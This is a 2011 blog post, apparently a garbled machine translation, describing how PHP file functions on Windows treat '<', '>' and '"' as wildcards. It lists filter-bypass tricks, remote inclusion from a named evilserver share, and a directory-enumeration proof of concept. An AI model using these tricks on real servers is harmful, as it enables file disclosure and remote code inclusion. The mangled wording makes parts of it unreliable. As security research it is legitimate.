New vulnerabilities to access files in PHP

Posted: June 11, 2011 by Hacking & Relax in exploit

Some years ago, everything just went crazy from the Error-based MySQL, and unserialize seemed somewhat complicated and do not occur in real life. Now it’s the classic technique. What can we say about dinosaurs such as zero-byte inkludah, which came to replace the file name truncated. Researchers always something to dig up, invent, and in the meantime has come new version of the interpreter, engines, and with them – new bugs developers.
In fact, there are three methods to find vulnerabilities: Savvy (when a researcher comes up with some trick and check if it works in practice), source code analysis and fuzzing. On an interesting Chinese fuzzingand its development from my side I want to tell.

Fuzzing – is not only a valuable fur …

t all started with the fact that Google has ordered the issuance of longer remember which request and showed the website in Chinese: , where it was collected many interesting finds Chinese fazzerov. Interestingly, in the list were very fresh discoveries, which have just been published in articles. Among them was found and attracted my attention to the code as follows:

<?php for($i=0;$i<255;$i++) { 
$url = ''.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
} ?>

He drew me, because I did not understand the meaning, but made out in the description of the familiar characters «win32»:).Translate the Chinese characters were strangely entertaining even with google.translate, so I stupidly run this code under Windows, and looked at the result. Imagine my surprise when I found that file in windsurfing have existed for at least 4 Name: 1.phP, 1.php,>, <. Now the Chinese writing system does not seem to me so far, and Google’s translator helped to understand its meaning. Actually, in this same “sense” was nothing more than a description of the code and the result of his work.Not that not a lot – not at all! This situation does not suit me. I still do not understand these Chinese people – really they are not interested to understand which features more vulnerable, what features it has a bug in the operation, and finally, why is it all work?

Demand the continuation of the banquet!

The first thing I added a second iterator and run code with fuzzing is already in the last two bytes. The results were predictable:

1.p <0 (null byte at the end) 1.p <(gap at the end) 1.p <"1.p <. 1.p <<1.p>> 1.p <> 1.p> <1.p <(p / P) 1.p> (p / P) 1.p (h / H) <1.p (h / H)> 1.p (h / H) (p / P)

Hence, clearly were showing patterns – at the end of the file name could go symbols: point, double quote, space, zero-byte. To test this hunch, I ran the following code:

<?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>

As you might guess, he returned in 1337, that is, everything works as predicted. This in itself was already expanding on the characters of popular vulnerability, an alternative zero-byte at inkludah. After continued harassment of the interpreter were found design file name with slashes at the ends, which also were read without problems:

file\./.\. file////. file\\\. file\\.//\/\/\/.

I think everything is clear here: if you use forward slashes after the file name, then at the end must always stand point. In this case, the slashes can mix, and between them you can stick in one spot.
In all of this was unclear importantly – what is hidden from the characters <and>?

Great and mighty WINAPI

How can I quickly became clear, fuzzing the nature of this error will not understand. Had two choices: watch sortsy or trace calls.Both of these methods fairly quickly pointed to the same thing – call to FindFirstFile. In this case, the call stack has been held with the replacement character> on?, A <to *, double quote is replaced by a point. Also a lot of fun was to notice that, despite the change, <not always work as * in the mask file, but <is always good rehearsed. In this case, the stack both calls were completely identical, but gave different results (see figure). Now it is completely clear where legs grow. And his feet did grow from K named MS.


Now it was necessary to understand whether such behavior is a function FindFirstFile normal, or is there is a bug. Seek an answer to this question I started with the documentation: (V = VS.85). aspx .
In the most documentation said nothing about the character> “”, but here in the comments …

The characters of ‘<’ and ‘>’ are treated like wildcard by this function.

[MSFT] – these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.


Mark Amos – MSFT

That is, this bug was known back in 2007! And the answer is generally the manufacturer shook their content … No comment:). On this, like, it finally became clear reason for such behavior PHP. Could begin to expand the scope of this bug. After trying various options, re-reading a bunch of documentation (MSDN, and really very useful) and tested hundreds of ideas, I found a set of rules that work for file names in the WIN-systems. And a bug in the FindFirstFile contributes only to the first four of them (the zero point is not counted). Also, looking ahead, I will say that the vulnerability is not only a function file_get_contents:

  1. * And? do not work in file names when calling FindFirstFile through PHP (filtered).
  2. < Character is replaced with a call to FindFirstFile *, ie, mask any number of any characters. In this case, were found instances where it works properly (see picture). To ensure the mask should be used * <.
    Example: include (‘Shell <’) connects a file shell *, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  3. > Symbol is replaced by a call to FindFirstFile?, That is one symbol.
    Example : include (‘shell.p> p’) connects a file shell.p? p, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  4. Symbol is replaced by a call to the FindFirstFile point.
    Example: include (‘Shell “PHP’) is equivalent to include (‘shell.php’).
  5. If the first character in the filename point, then read the file can be named without regard to this point.
    Example: fopen (“htaccess”) is equivalent to fopen (“. htaccess”), while more complex, true with claim 1, fopen («h <<»). Since the file name the second letter” a “, then alphabetically He is likely to be the first.
  6. At the end of the file names you can use a sequence of slashes the same or different species (forward and reverse), among which you can put a single point, and in the end must always stand point, and not, as the real thing.
    Example: fopen (“”)
  7. You can use the network names that begin with \ \, followed by a any character except the point. This is obvious and has long been known to all. Supple only that if the network name does not exist, then the file operation goes the extra 4 seconds, which contributes to the expiration of the time and error max_execution_time (see the article “ Gyulchataj, open face “). Also, it allows you to bypass allow_url_fopen = Off and make RFI.
    Example: include (‘\ \ evilserver \ shell.php’)
  8. You can use the extended names starting with \ \. \, Which gives the ability to switch between the disks in the file name.
    Example: include (‘\ \. \ C: \ My \ file.php \ .. \ .. \ .. \ D: \ anotherfile.php’).
  9. You can use an alternative name syntax disk to bypass filtering slashes.
    Example: file_get_contents (‘C: Boot.ini’) is equivalent to file_get_contents (‘C: / boot.ini’)
  10. You can use the short DOS-compatible file names and directories. This is a dupe, do not argue. But draw your attention that if a directory is more than four files with names shorter than three characters, these names will be supplemented by four hex characters. Similarly, will change the file name in the directory are more than four files whose names begin with the same first two letters.

    Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC, and MYFAVO ~ 4.DOC.Additional files with this root could be named MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC, and MYEACC ~ 1.DOC.

    Example: in.conf a DOS name IND763 ~ 1.CON, that is, it is possible to read stitch file_get_contents (‘<<D763 <<’), which does not contain any bytes from this file name! How are these four Hex characters never said, but they seem to depend only on the file name.

  11. In PHP on the command line environment (not mod_php, as php.exe) runs specific files with reserved names aux, con, prn, com1-9, lpt1-9.
    Example: file_get_contents (‘C: / tmp / con.jpg’) will be endlessly read from the device CON null bytes, waiting for EOF.
    Example: file_put_contents (‘C: / tmp / con.jpg’, Chr (0×07)) pisknet speaker server (music:)).

I advise you to cut out all the items in a frame and hang in a prominent place. Over will not:).
Play Counting

Chinese believe in the caption under the fuzzing that the vulnerability only applies to file_get_contents, I just could not, though, because few could remember the source PHP. Without thinking twice, I checked all the functions that are thought about working with files. The results were more than positive.
The vulnerability is present in the functions:

fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()

Not listed in:

rename unlink rmdir 

There where carousing, is not it? But it’s not so bad.
PoC: the idea of ​​using

It is obvious that this vulnerability could be used to bypass all possible filters and restrictions. For example, for the file. Htaccess, an alternative name will h <<(see section 4, p.1). Two-character files can be read without a name (see p.9).. And so on. There is another, no less an interesting application – Define names of folders and files.
Consider this example:

<?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>

With this code, you can easily get a list of web server directories.
Sends a request to test.php? A =.. / a <% 00 and get an answer form

Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...

In the first case, the server has not found any directory beginning with the letter “a” in the root, the second – has found.
Then you can start the selection of the second letter and so on. To speed up you can use phonetics (see “Faster, higher and faster again. revolutionary approach to manual SQL-injection” ). Works good old-fashioned technique of exploitation of blind SQL injection.
During the experiments it was observed that sometimes the server just gives the path found in the error message. Then pick only have if the directory starts with the same symbol. What determines the output errors, I have not had time to sort things out and leave it to the public.

It is gratifying to note that the report from the Chinese and found the magician, who published it, among others, in the article“Little-known methods of attacks on web-application” yet on April 19, but the explanations and an emphasis on the vulnerability was not there, there was only the Chinese sample, from which I began.

Frankly, very much like to find an alternative to the null-byte, but in vain. But this vulnerability opens the door for other, equally interesting attacks. In fact, providing search capabilities directory and files over the functions work with files. That in itself is a unique phenomenon. Whatever it was, Respect the Chinese with their fuzzing, but urge both them and all others to explore the raw data obtained in this way. Fuzzing fuzzing, and must think his head.

Source :

  1. […] Access files with wildcards (read more here) […]

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s